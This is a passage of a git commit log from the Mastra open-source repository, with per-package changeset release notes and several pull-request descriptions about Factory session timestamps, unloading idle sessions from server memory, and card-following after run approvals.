- Fixed workflow `.sleep()` and `.sleepUntil()` waits longer than about
24.8 days ending almost immediately. The next step now runs only after
the full wait, on the default and evented engines.
([#30395](https://github.com/mastra-ai/mastra/pull/30395))
## @mastra/auth-supabase@1.2.1-alpha.0

### Patch Changes

- Fixed slow handling of Gateway base URLs and Supabase URLs that
contain very long runs of `/`. The resulting URLs are unchanged.
([#30577](https://github.com/mastra-ai/mastra/pull/30577))
## @mastra/client-js@1.60.1-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
## @mastra/react@1.15.1-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/client-js@1.60.1-alpha.5
## @mastra/deployer-cloud@1.84.0-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/deployer@1.84.0-alpha.5
## @mastra/longmemeval@1.1.43-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/libsql@1.31.0-alpha.2
## @mastra/opencode@0.1.43-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/libsql@1.31.0-alpha.2
## @mastra/code-sdk@1.19.1-alpha.6

### Patch Changes

- Fixed custom OpenAI-compatible providers so they only ever
authenticate with the API key saved on the provider itself.
([#29879](https://github.com/mastra-ai/mastra/pull/29879))

- A custom provider is no longer given the saved credential of another
provider when their names match (for example a custom provider called
"OpenAI").
- A Mastra Gateway model (`mastra/...`) never runs on a custom provider
that shares its id, with or without a gateway key.
- Requests to a custom provider no longer follow redirects, so its API
key is never sent on to another address.
- A custom provider without an API key now works when sign-in is
enabled, instead of failing with a missing credential error.

If a custom provider in `settings.json` has no `apiKey` and relied on a
key you saved for the provider it is named after (for example with
`/api-keys`), set `apiKey` on the custom provider itself.

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34),
[`464810d`](464810dcf8)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/pg@1.37.0-alpha.3
  - @mastra/client-js@1.60.1-alpha.5
  - @mastra/libsql@1.31.0-alpha.2
## mastracode@0.50.1-alpha.6

### Patch Changes

- Added an ESM-only `mastracode/run-tui` export so a launcher can start
the Mastra Code TUI with extra session options, such as Knowledge and
its scopes: ([#30371](https://github.com/mastra-ai/mastra/pull/30371))

  ```ts
  import { runTui } from 'mastracode/run-tui';

await runTui({ createMastraCode: { knowledge: { key: 'team', instance:
knowledge }, scopes: ['org:acme'] } });
  ```

Options given here replace the values Mastra Code would pass for the
same keys, and apply to the interactive local TUI only. The `mastracode`
command behaves as before.

- Updated dependencies
[[`944bb3a`](944bb3ab0f),
[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34),
[`464810d`](464810dcf8)]:
  - @mastra/code-sdk@1.19.1-alpha.6
  - @mastra/core@1.84.0-alpha.5
  - @mastra/pg@1.37.0-alpha.3
  - @mastra/libsql@1.31.0-alpha.2
## @mastra/arize@1.3.31-alpha.1

### Patch Changes

- Raised the minimum versions of the OpenTelemetry SDK and OTLP exporter
dependencies (`@opentelemetry/sdk-trace-base` and `@opentelemetry/core`
`^2.12.1`, OTLP exporters `^0.223.1`) so they no longer resolve to
releases that pin `@opentelemetry/resources` 2.12.0, which is affected
by security advisory GHSA-qrww-3xmv-qhgm. If your project also depends
on OpenTelemetry packages directly, check that they resolve
`@opentelemetry/resources` 2.12.1 or later on the 2.x line, or 3.1.1 or
later on the 3.x line.
([#30580](https://github.com/mastra-ai/mastra/pull/30580))

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`93b823a`](93b823a847),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/otel-exporter@1.5.3-alpha.1
## @mastra/arthur@0.4.31-alpha.1

### Patch Changes

- Raised the minimum versions of the OpenTelemetry SDK and OTLP exporter
dependencies (`@opentelemetry/sdk-trace-base` and `@opentelemetry/core`
`^2.12.1`, OTLP exporters `^0.223.1`) so they no longer resolve to
releases that pin `@opentelemetry/resources` 2.12.0, which is affected
by security advisory GHSA-qrww-3xmv-qhgm. If your project also depends
on OpenTelemetry packages directly, check that they resolve
`@opentelemetry/resources` 2.12.1 or later on the 2.x line, or 3.1.1 or
later on the 3.x line.
([#30580](https://github.com/mastra-ai/mastra/pull/30580))

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`93b823a`](93b823a847),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/otel-exporter@1.5.3-alpha.1
## @mastra/laminar@1.3.33-alpha.1

### Patch Changes

- Raised the minimum versions of the OpenTelemetry SDK and OTLP exporter
dependencies (`@opentelemetry/sdk-trace-base` and `@opentelemetry/core`
`^2.12.1`, OTLP exporters `^0.223.1`) so they no longer resolve to
releases that pin `@opentelemetry/resources` 2.12.0, which is affected
by security advisory GHSA-qrww-3xmv-qhgm. If your project also depends
on OpenTelemetry packages directly, check that they resolve
`@opentelemetry/resources` 2.12.1 or later on the 2.x line, or 3.1.1 or
later on the 3.x line.
([#30580](https://github.com/mastra-ai/mastra/pull/30580))

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
## @mastra/langfuse@1.6.7-alpha.1

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`93b823a`](93b823a847),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/otel-exporter@1.5.3-alpha.1
## @mastra/otel-bridge@1.5.23-alpha.1

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`93b823a`](93b823a847),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/otel-exporter@1.5.3-alpha.1
## @mastra/otel-exporter@1.5.3-alpha.1

### Patch Changes

- Raised the minimum versions of the OpenTelemetry SDK and OTLP exporter
dependencies (`@opentelemetry/sdk-trace-base` and `@opentelemetry/core`
`^2.12.1`, OTLP exporters `^0.223.1`) so they no longer resolve to
releases that pin `@opentelemetry/resources` 2.12.0, which is affected
by security advisory GHSA-qrww-3xmv-qhgm. If your project also depends
on OpenTelemetry packages directly, check that they resolve
`@opentelemetry/resources` 2.12.1 or later on the 2.x line, or 3.1.1 or
later on the 3.x line.
([#30580](https://github.com/mastra-ai/mastra/pull/30580))

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
## @mastra/sentry@1.2.33-alpha.1

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`93b823a`](93b823a847),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/otel-exporter@1.5.3-alpha.1
## mastra@1.40.0-alpha.5

### Patch Changes

- The Factory **Settings › Tools** page shows how many tools sessions
get from each Mastra Connect connection. Expand one to see its tools
with their descriptions, which ones ask for approval, and which ones
Factory leaves out. With a `tools` option, a connection the code doesn't
use shows no tools, and the code's other tools are listed under **Other
tools from code**.
([#30610](https://github.com/mastra-ai/mastra/pull/30610))

- The Factory **Settings › Tools** page lists a project's Mastra Connect
connections when the Factory sets its session tools in code, with a note
that the `tools` option decides which of their tools sessions get. When
Connect isn't set up, it names the missing Platform credentials or
`MASTRA_PROJECT_ID` (#30579).
([#30607](https://github.com/mastra-ai/mastra/pull/30607))

- Added `mastra api factory work-item session-repository <project-id>
<work-item-id>`. It shows the repository a session on a Factory card
starts in, or why the card has none.
([#30609](https://github.com/mastra-ai/mastra/pull/30609))

- Fixed board cards showing a different session status than the sidebar.
A card with a suggested run and a running session now shows it waits on
you on the board too, and a card with one working and one starting
session shows it working.
([#30624](https://github.com/mastra-ai/mastra/pull/30624))

- Fixed the session status in Factory's sidebar and board. A person's
own session now shows "Waiting on you" while its agent waits for their
answer, instead of "Working". A session now shows "Working" while it
runs on a thread opened after its first one, such as a new thread or a
Slack conversation. A session shows "Initializing" only while a run
waits on its first setup, so a session whose setup never finished, or
that never ran, no longer stays stuck on "Initializing".
([#30627](https://github.com/mastra-ai/mastra/pull/30627))

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/deployer@1.84.0-alpha.5
## @mastra/connect@1.4.1-alpha.2

### Patch Changes

- Fixed `posthog_run_query` failing provider-response validation
whenever PostHog returned column types, which it does for every query
with columns, even `select 1`. PostHog returns column types as
`[columnName, clickhouseType]` pairs, such as `[["count()", "UInt64"]]`,
and the tool now accepts them and returns them in that shape. The
inferred type of `types` in the tool's output changes from `string[]` to
`[string, string][]`, and a plain string entry, which PostHog never
sends, is now rejected. Fixes
[#30528](https://github.com/mastra-ai/mastra/issues/30528).
([#30541](https://github.com/mastra-ai/mastra/pull/30541))

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
## @mastra/deployer@1.84.0-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`0ed63d7`](0ed63d7308),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/server@1.84.0-alpha.5
## @mastra/mcp-docs-server@1.3.14-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
## @mastra/playground-ui@69.1.0-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/client-js@1.60.1-alpha.5
  - @mastra/react@1.15.1-alpha.5
## @mastra/server@1.84.0-alpha.5

### Patch Changes

- Reduced memory and CPU use when clients stream agent controller
sessions. Each display-state update is now copied and serialized once
and shared by every client of the session, instead of once per client,
and the copy no longer duplicates message text or tool results. Display
state is now serialized the same way as other stream events, so the
bytes change for three kinds of value: an object with a `toJSON` method
is sent as that method's result, an error keeps its own enumerable
fields such as `statusCode`, and a value that cannot be cloned, such as
a function, is left out and no longer closes the stream.
([#30615](https://github.com/mastra-ai/mastra/pull/30615))

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
## @mastra/elysia@0.1.24-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`0ed63d7`](0ed63d7308),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/server@1.84.0-alpha.5
## @mastra/express@1.5.28-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`0ed63d7`](0ed63d7308),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/server@1.84.0-alpha.5
## @mastra/fastify@1.5.28-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`0ed63d7`](0ed63d7308),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/server@1.84.0-alpha.5
## @mastra/hono@1.7.26-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`0ed63d7`](0ed63d7308),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/server@1.84.0-alpha.5
## @mastra/koa@1.7.28-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`0ed63d7`](0ed63d7308),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/server@1.84.0-alpha.5
## @mastra/nestjs@0.3.1-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`0ed63d7`](0ed63d7308),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/server@1.84.0-alpha.5
## @mastra/next@0.2.42-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`0ed63d7`](0ed63d7308),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/server@1.84.0-alpha.5
  - @mastra/hono@1.7.26-alpha.5
## @mastra/tanstack-start@0.2.42-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`0ed63d7`](0ed63d7308),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/server@1.84.0-alpha.5
  - @mastra/hono@1.7.26-alpha.5
## @mastra/pg@1.37.0-alpha.3

### Patch Changes

- Fixed `PgVector` calls failing with "Vector table ... does not exist"
after an index was deleted with `deleteIndex()` and created again while
that `PgVector` instance was still starting up. Also fixed
`createIndex()` on that instance keeping the previous metric when the
index was deleted and recreated, or rebuilt, during that time.
([#30578](https://github.com/mastra-ai/mastra/pull/30578))

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
## @mastra/temporal@0.6.1-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/deployer@1.84.0-alpha.5
## create-mastra@1.40.0-alpha.5


## @internal/playground@1.40.0-alpha.5

### Patch Changes

- Updated dependencies
[[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/core@1.84.0-alpha.5
  - @mastra/client-js@1.60.1-alpha.5
  - @mastra/react@1.15.1-alpha.5
  - @mastra/playground-ui@69.1.0-alpha.5

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-16 21:12:17 -08:00
Damien Schneider
31f1b765c3
fix(factory): stamp a session's first events once and stop redoing session work (#30648)
**─────── TLDR ───────**
> A session's first-event times now survive concurrent LibSQL writers,
and the server stops redoing session work it already had.

Two LibSQL processes stamping the same session could both write, so a
later write replaced the first and inflated latency metrics such as
`materialize_s`. Projects without a GitHub connection evicted each
other's session index on every poll, and session activity sorted every
card status to report the few in flight. The one-request rows and
activity read and the shared owner lookup from the first push are
reverted: each carried a trade-off, so they wait until after the
release. The platform GitHub backlog test, red on `main` since #30625
made issue intake follow the selected repositories, now selects its
repository first.

### Behavior changed

two LibSQL processes stamp the same session's first message
&nbsp;&nbsp;├─ **was** — both could write, and the later time replaced
the first
&nbsp;&nbsp;└─ **now** — the `IS NULL` check runs inside the update; the
first write stays

two projects with no GitHub connection, polled in turn
&nbsp;&nbsp;├─ **was** — each read evicted the other's session index
&nbsp;&nbsp;└─ **now** — each project keeps its own until its sessions
change

### Gain

> ██████████████████ **session activity, before** `3.1 ms`
> █ **session activity, after** `0.11 ms`

Per call on 2,850 card statuses with 30 in flight, from a throwaway
bench that is not committed; the output is identical. Postgres already
serialized the stamps with `SELECT … FOR UPDATE`, so there the change
only trades a dedicated connection running five statements for two
statements.

---

> ██████████████████ **tests** `+98 −1` — 75% of the additions
> ████ **source** `+24 −40` — net −16
> ██ **changeset** `+9`


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When two copies of the app share one database, each can record
when a session started. This change makes sure only the first recorded
time is kept. The app also avoids some repeated work when it loads
session lists for projects that have no GitHub connection.

## Summary

This change covers six files: 131 lines added and 41 removed.

### Changes by file

- **`mastracode/factory/src/storage/domains/source-control/base.ts`**
(+17/-36):
  - Removes the `NO_SESSIONS` constant.
- When `linkedProjectSessions` finds no connections, it continues to the
repository-link lookup and the cached session read and filter path. It
no longer returns the shared empty constant. This stops projects without
a GitHub connection from evicting each other's session indexes.
- The three session timestamp methods call a new `#stampOnce` helper.
The helper updates only rows whose selected timestamp is null. If no row
changes, it returns without announcing. Otherwise, it reloads the row
and announces it when the row exists.
- **`mastracode/factory/src/session/session-row-view.ts`** (+7/-4):
`sessionActivity` filters card-status entries to in-flight statuses
before it builds the sorted `cardStatuses` list and the working and
waiting counts. Held-card IDs still come from all card-status entries
and are sorted.
-
**`mastracode/factory/src/storage/domains/source-control/base.test.ts`**
(+69/-1): Adds a test. It opens two `LibSQLFactoryStorage` instances on
one temporary file database. It creates a session and calls
`markMaterialized` from both instances concurrently. Over 10 attempts,
it asserts that the project is announced exactly once.
- **`mastracode/factory/src/routes/project-sessions.test.ts`** (+28/-0):
Adds a test for `createProjectSessionsReader`. It creates two projects
without a repository. It checks that repeated reads for each project
return the same object instance.
-
**`mastracode/factory/src/integrations/platform/github/integration.test.ts`**
(+1/-0): The linked-repository backlog import test saves an enabled
GitHub intake configuration for `acme/app` before it builds the
integration context and runs the import. This fixes a test that failed
on `main` after issue intake began to follow selected repositories.
- **`.changeset/funky-bears-know.md`** (+9/-0): Adds a patch changeset
for `@mastra/factory`. It describes reduced work during session sidebar
and board updates. It also describes one-time recording of session
timestamps when Factory processes share a LibSQL database.

### Scope notes

- The PR objectives state that the one-request rows and activity read,
and the shared owner lookup, were reverted from the first push. The six
changed files do not include them.
- The objectives report that session activity reads take 0.11 ms, down
from 3.1 ms, on 2,850 card statuses with 30 in flight. This figure comes
from an uncommitted throwaway benchmark. The output was identical.
- On Postgres, the objectives state that the stamp path already used
`SELECT … FOR UPDATE`. The change reduces that path from five statements
on a dedicated connection to two statements. This diff does not show a
Postgres test.

### Verification

No CI, build, or test results were available for this review.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 20:51:46 -08:00
Tyler Barnes
7518c05d6f
feat(core): add knowledge.movePage() to move a page without losing its notes or pins (#30631) 2026-11-16 21:48:39 -07:00
Ward Peeters
8cc2b95344
fix(factory): unload idle and released sessions from server memory (#30612)
## Description

A long-running Factory server keeps every agent session it has ever
opened in memory. In production that adds up to roughly 2 GB growing to
7 GB over six hours, with GC climbing from about 13% to 42% of busy CPU
until the next redeploy. The core `AgentController` holds sessions until
the host deletes them, and Factory only deleted them from the explicit
delete routes. Each session kept its display state, tool results,
workspace caches and subscriptions.

Factory now unloads a session from memory in two cases. The first is
when it stops or releases the session's sandbox: a card leaving a
context, a card finishing, or a retired session. The second is after 30
minutes without activity, checked every minute. A session stays loaded
while it has a run in flight, a pending approval or
`ask_user`/`submit_plan` wait, an active thread stream, or a browser tab
following its event stream. Busy sessions released by a sandbox stop get
unloaded on the first sweep after their work ends. Before unloading,
Factory waits for run-end audit writes, then drops its per-session
workspace caches. It does not stop or destroy the sandbox VM. The
thread, messages, session row, sandbox and work-item bindings all stay,
so the next message, dispatched run, deferred wake or reopened tab loads
the session again from storage. No `@mastra/core` changes.

```ts
new MastraFactory({
  // defaults shown; `idleMs: 0` only unloads on sandbox release, `false` never unloads
  idleSessionUnload: { idleMs: 30 * 60_000, sweepIntervalMs: 60_000 },
});
```

Unloading drops in-memory state that isn't persisted: `session.state`
that isn't mirrored to thread metadata, auto-approvals granted for the
session, and past bus events. The UI rebuilds the transcript from stored
messages.

I'd like reviewers to weigh in on some risks. There's a small window
where the sweep can unload a session that the start coordinator just got
back from `createSession` but hasn't touched yet. The re-checks right
before `deleteSession` shrink that window but don't close it, and owner
takeover and route deletes have the same gap today.
`mastra_factory_sandboxes_active` counts memoized sandboxes, so it
undercounts VMs whose session idled out while the VM kept running (a
restart already does the same). Without `auth`, a deferred wake for an
unloaded session waits until something else loads it, same as after a
restart. Unloading is per replica: a replica only unloads sessions it
holds itself, and every replica runs its own sweep. I also haven't
measured heap in a long-running process. The tests prove the controller
drops the session and Factory clears its caches, but not that RSS
flattens in production.

Test plan: new tests run on a real `AgentController` with
`InMemoryStore`, a mock language model and a real Hono server
(`session/session-unloader.test.ts`). They cover idle unload, a running
turn, a parked `ask_user`, an open SSE tab, rehydration with history and
the row owner, release-then-sweep, the timer, and settings validation.
`sandbox/context-sandboxes.test.ts` covers unload when a card leaves a
context or finishes, over libsql and pg. `workspace.test.ts` checks that
invalidation drops caches without stopping or destroying the sandbox.
Mutation checks showed the new tests fail when the unload hook, watcher
check, busy check, timer or run-audit settle is removed. The focused
Factory suites pass (41 files, 1111 tests), along with `tsc --noEmit`
and oxlint. In the full Factory suite, the only failures are the 13 that
also fail on untouched `main` in this environment (config, fs,
session-model-catalog and session-tools route tests that pick up local
provider credentials).

## Related issue(s)

No public issue. This was reported from the production Factory
deployment.

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Code refactoring
- [x] Performance improvement
- [ ] Test update

## Checklist

- [ ] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: When a Factory session is no longer needed, the server removes it
from memory. The saved session data stays on disk, so the session loads
again when someone uses it.

## Summary

This PR adds session unloading to `@mastra/factory`. The server removes
a session from memory in these cases:

- Its sandbox is stopped or released.
- It has been idle for 30 minutes. The default sweep runs every minute
per process.

A session stays loaded while any of these hold:

- A run is active.
- An approval or user answer (`ask_user` or `submit_plan`) is pending.
- A browser event stream is open.
- Its running sandbox reports a tracked background process.

For an idle session with a running process, the idle clock resets for
another idle timeout. Only sandboxes with status `running` are queried
for processes. Released sessions are not queried, because their sandbox
has already stopped. A busy session that is released unloads on a later
sweep, after it becomes idle.

Before unloading, the factory waits for run-end audit writes to finish.
It then clears the session's cached workspace entry. It does not stop or
destroy the sandbox VM.

Threads, messages, session rows, sandboxes, and work-item bindings stay
stored. A later request reloads the session. In-memory-only state,
session auto-approvals, and past bus events are dropped.

The PR also changes the following:

- **Default model on unloaded sessions:** When a bound session is not
loaded, the default-model apply job calls `setThreadModel`. It counts
the binding as applied, not skipped.
- **Untrusted-checkout posture on prompt creation:**
`restorePromptCheckoutTrust` consults a session's run-binding history,
including revoked bindings, even when a binding is active. It marks the
checkout untrusted when bindings span multiple projects or when a
trusted binding's item cannot be verified. Reopened review sessions load
`AGENTS.md` and `CLAUDE.md` from the base branch, or no instructions
when the trusted branch cannot be determined.
- **Process listing failures:** A failed sandbox process listing keeps
the session loaded.

### Key changes

- **`session/session-unloader.ts` (new):** Adds `SessionUnloader`,
`sessionHoldsWork`, `createSessionActivityMiddleware`, and the
`IdleSessionUnloadOptions`, `UnloadableSession`, `UnloadableController`,
and `SessionUnloaderOptions` interfaces. Negative or non-finite idle
values and non-finite or non-positive sweep intervals throw errors.
`unloadReleased` returns `not-loaded`, `unloaded`, or `deferred`. A run
that starts during release cancels the pending unload.
- **`factory.ts`:** Adds `idleSessionUnload?: false |
IdleSessionUnloadOptions` to `MastraFactoryConfig`. The factory creates
the unloader unless the option is `false`. It starts the unloader in
`finalize()` and stops it in `shutdown()`. It adds a `setThreadModel`
callback to the controller wiring. `hostInstructions` calls
`restorePromptCheckoutTrust`.
- **`sandbox/session-retirement.ts`:** Adds an optional `unloadSession`
callback. The coordinator calls it after sandbox stop or release. Unload
errors are logged and not propagated.
- **`rules/dispatcher.ts`:** Uses `sessionHoldsWork(session)` to decide
whether to keep a stale run binding.
- **`rules/binding-context.ts`:** Adds `restorePromptCheckoutTrust`. It
classifies review-context and pull-request items as untrusted.
- **`storage/domains/work-items/base.ts`:** Adds an index on `(org_id,
session_id)` and `listRunBindingsForSession`. The method returns all
bindings for a session, including revoked ones, oldest first.
- **`session/run-audit.ts`:** Changes `waitForSessionRunAudit` to accept
`object` instead of `RunEndCaptureSession`.
- **`routes/projects.ts`:** `ModelApplyController` now requires
`setThreadModel`.
- **Docs and changesets:** `mastracode/factory/README.md` adds an
"Unloading idle sessions" section. The changesets mark a minor
`@mastra/factory` release and a patch release for reopened review trust.
- **Tests:** Adds `session/session-unloader.test.ts` (443 added lines).
Updates the context-sandbox, workspace, default-model scenario,
source-control session, and projects tests. Several controller mocks now
include `onSessionDeleted` and return unsubscribe functions.

The PR changes 23 files, with 1,433 lines added and 82 removed.

### Configuration

- `idleSessionUnload` is enabled by default.
- `idleMs: 0` disables idle unloading. Released-session unloading still
runs.
- `false` disables all unloading.

### Known limitations

- A deferred wake without `auth` does not reload an unloaded session.
The session loads when another event loads it, as after a restart.
- Whether a remote sandbox provider's process listing reports processes
after reload is not verified.
- Production heap or RSS improvement was not measured.
- The risks the author lists include a race between session creation and
sweeping, possible undercounting by `mastra_factory_sandboxes_active`,
and per-replica unloading.

### Verification

The author reports these results. They were not re-run for this summary.

- 41 focused Factory test files with 1,111 tests pass.
- After the later trust fix, `source-control-sessions.test.ts`,
`src/rules`, and `src/session` pass (1,344 tests).
- `tsc --noEmit` and oxlint pass.
- 13 full-suite Factory failures occur. The same failures occur on
untouched `main` in the author's environment.

### Review status

- Review finding counts: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: Damien Schneider <74979845+damien-schneider@users.noreply.github.com>
2026-11-16 20:45:19 -08:00
Damien Schneider
76069d5b99
fix(factory): follow a card when a chat approves or retries its run (#30637)
## Description

Stacked on mastra-ai/mastra#30628.

When a session moves a card, it follows it, so the run's report (done,
failed, blocked, waiting for approval) reaches that session and it can
pass the outcome on in its chat. Approving a held run with
`factory_resolve_proposal` (as the person), or retrying a failed one
with `factory_retry_decision` (which keeps the run's original approver),
also starts a run from the session, but didn't follow the card.

That matches what happened in Slack on Nov 16: asked to "start the
automated review on the board" for #30578, Shipyard approved the held
review run, said "I'm following the card and will post here when the
review finishes", and never posted, although the review finished and was
approved on GitHub. The card's run-end report goes only to the card's
followers (`workItemReportRecipients`). I couldn't read that session's
traces from here, so this is the gap the code shows, not a confirmed
cause for that thread.

Now both tools follow the run's card with reason `started`, as
`factory_start_session` did for a card's role before #30628 removed that
